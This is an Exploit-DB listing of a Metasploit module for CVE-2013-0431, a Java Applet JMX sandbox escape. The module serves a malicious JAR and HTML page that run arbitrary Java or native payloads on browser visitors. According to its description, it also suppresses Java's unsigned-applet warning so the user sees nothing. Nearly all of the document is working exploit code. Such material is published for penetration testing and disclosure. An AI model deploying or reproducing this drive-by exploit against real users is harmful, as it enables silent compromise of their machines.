标题: Java Applet JMX - Remote Code Execution (Metasploit) (2) EDB-ID: 24539 CVE: 2013-0431 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-02-25 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({ :javascript => false })

 def initialize( info = {} )

  super( update_info( info,
   'Name'          => 'Java Applet JMX Remote Code Execution',
   'Description'   => %q{
     This module abuses the JMX classes from a Java Applet to run arbitrary Java code
    outside of the sandbox as exploited in the wild in February of 2013. Additionally,
    this module bypasses default security settings introduced in Java 7 Update 10 to run
    unsigned applet without displaying any warning to the user.
   },
   'License'       => MSF_LICENSE,
   'Author'        =>
    [
     'Unknown', # Vulnerability discovery and exploit in the wild
     'Adam Gowdiak', # Vulnerability discovery
     'SecurityObscurity', # Exploit analysis and deobfuscation
     'juan vazquez' # Metasploit module
    ],
   'References'    =>
    [
     [ 'CVE', '2013-0431' ],
     [ 'OSVDB', '89613' ],
     [ 'BID', '57726' ],
     [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ],
     [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ],
     [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ],
     [ 'URL', 'http://pastebin.com/QWU1rqjf' ],
     [ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ]
    ],
   'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
   'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
   'Targets'       =>
    [
     [ 'Generic (Java Payload)',
      {
       'Platform' => ['java'],
       'Arch' => ARCH_JAVA,
      }
     ],
     [ 'Windows x86 (Native Payload)',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Mac OS X x86 (Native Payload)',
      {
       'Platform' => 'osx',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Linux x86 (Native Payload)',
      {
       'Platform' => 'linux',
       'Arch' => ARCH_X86,
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 19 2013'
  ))
 end

 def on_request_uri(cli, request)
  print_status("handling request for #{request.uri}")

  case request.uri
  when /\.jar$/i
   print_status("Sending JAR")
   send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } )
  when /\/$/
   print_status("Sending HTML")
   send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
  else
   send_redirect(cli, get_resource() + '/', '')
  end
 end

 def generate_jar
  paths = [
   [ "Exploit.ser" ],
   [ "Exploit.class" ],
   [ "B.class" ]
  ]

  p = regenerate_payload(cli)

  jar  = p.encoded_jar

  paths.each do |path|
   1.upto(path.length - 1) do |idx|
    full = path[0,idx].join("/") + "/"
    if !(jar.entries.map{|e|e.name}.include?(full))
     jar.add_file(full, '')
    end
   end
   fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb")
   data = fd.read(fd.stat.size)
   jar.add_file(path.join("/"), data)
   fd.close
  end
  return  jar.pack
 end

 def generate_html
  html = <<-EOF
<html>
<script language="Javascript">

var _app = navigator.appName;

if (_app == 'Microsoft Internet Explorer') {
document.write('<applet archive="#{rand_text_alpha(4+rand(4))}.jar" object="Exploit.ser"></applet>');
} else {
document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(4+rand(4))}.jar"></embed>');
}

</script>
</html>
  EOF
  return html
 end

end URL: https://www.exploit-db.com/exploits/24539